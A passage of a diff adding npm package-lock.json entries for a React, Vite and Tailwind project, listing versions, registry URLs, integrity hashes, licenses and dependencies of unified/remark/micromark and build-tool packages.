"sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-decode-string/-/micromark-util-decode-string-2.0.1.tgz", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-html-tag-name/-/micromark-util-html-tag-name-2.0.1.tgz", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-2.0.1.tgz", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-resolve-all/-/micromark-util-resolve-all-2.0.1.tgz", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-2.0.1.tgz", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-symbol": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-util-symbol/-/micromark-util-symbol-2.0.1.tgz", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz", + "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.51", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.51.tgz", + "integrity": "sha512-wRNIrw4DmVLKQlbgOMdkMx27Wrpzes2hh5Jtbi2bjPd+4wJstWIqP5A+lscnqbm0xxmT5Bpg8Lec5ItEBwx6BQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/parse-entities": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-entities/node_modules/@types/unist": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", + "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/postcss": { + "version": "8.5.19", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.19.tgz", + "integrity": "sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/property-information": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.2.0.tgz", + "integrity": "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/react": { + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.7.tgz", + "integrity": "sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.7.tgz", + "integrity": "sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.7" + } + }, + "node_modules/react-markdown": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-10.1.0.tgz", + "integrity": "sha512-qKxVopLT/TyA6BX3Ue5NwabOsAzm0Q7kAPwq6L+wWDwisYs7R8vZ0nRXqq6rkueboxpkjvLGU9fWifiX/ZZFxQ==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "devlop": "^1.0.0", + "hast-util-to-jsx-runtime": "^2.0.0", + "html-url-attributes": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "remark-parse": "^11.0.0", + "remark-rehype": "^11.0.0", + "unified": "^11.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "@types/react": ">=18", + "react": ">=18" + } + }, + "node_modules/react-refresh": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz", + "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/remark-gfm": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", + "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-gfm": "^3.0.0", + "micromark-extension-gfm": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype": { + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.2.tgz", + "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "mdast-util-to-hast": "^13.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz", + "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-to-markdown": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/rollup": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.62.2.tgz", + "integrity": "sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.9" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.62.2", + "@rollup/rollup-android-arm64": "4.62.2", + "@rollup/rollup-darwin-arm64": "4.62.2", + "@rollup/rollup-darwin-x64": "4.62.2", + "@rollup/rollup-freebsd-arm64": "4.62.2", + "@rollup/rollup-freebsd-x64": "4.62.2", + "@rollup/rollup-linux-arm-gnueabihf": "4.62.2", + "@rollup/rollup-linux-arm-musleabihf": "4.62.2", + "@rollup/rollup-linux-arm64-gnu": "4.62.2", + "@rollup/rollup-linux-arm64-musl": "4.62.2", + "@rollup/rollup-linux-loong64-gnu": "4.62.2", + "@rollup/rollup-linux-loong64-musl": "4.62.2", + "@rollup/rollup-linux-ppc64-gnu": "4.62.2", + "@rollup/rollup-linux-ppc64-musl": "4.62.2", + "@rollup/rollup-linux-riscv64-gnu": "4.62.2", + "@rollup/rollup-linux-riscv64-musl": "4.62.2", + "@rollup/rollup-linux-s390x-gnu": "4.62.2", + "@rollup/rollup-linux-x64-gnu": "4.62.2", + "@rollup/rollup-linux-x64-musl": "4.62.2", + "@rollup/rollup-openbsd-x64": "4.62.2", + "@rollup/rollup-openharmony-arm64": "4.62.2", + "@rollup/rollup-win32-arm64-msvc": "4.62.2", + "@rollup/rollup-win32-ia32-msvc": "4.62.2", + "@rollup/rollup-win32-x64-gnu": "4.62.2", + "@rollup/rollup-win32-x64-msvc": "4.62.2", + "fsevents": "~2.3.2" + } + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "license": "MIT", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/style-to-js": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.21.tgz", + "integrity": "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==", + "license": "MIT", + "dependencies": { + "style-to-object": "1.0.14" + } + }, + "node_modules/style-to-object": { + "version": "1.0.14", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.14.tgz", + "integrity": "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==", + "license": "MIT", + "dependencies": { + "inline-style-parser": "0.2.7" + } + }, + "node_modules/tailwind-merge": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.6.0.tgz", + "integrity": "sha512-uxL7qAVQriqRQPAyK3pj66VqskWqoZ37PW94jwOTwNfq/z9oyu1V+eqrZqtR2+fCiXdYOZe/Modt8GtvqNzu+w==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.3.3.tgz", + "integrity": "sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/tapable": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.3.tgz", + "integrity": "sha512-uxc/zpqFg6x7C8vOE7lh6Lbda8eEL9zmVm/PLeTPBRhh1xCgdWaQ+J1CUieGpIfm2HdtsUpRv+HshiasBMcc6A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/unified": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-position": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz", + "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", + "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vite": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz", + "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + 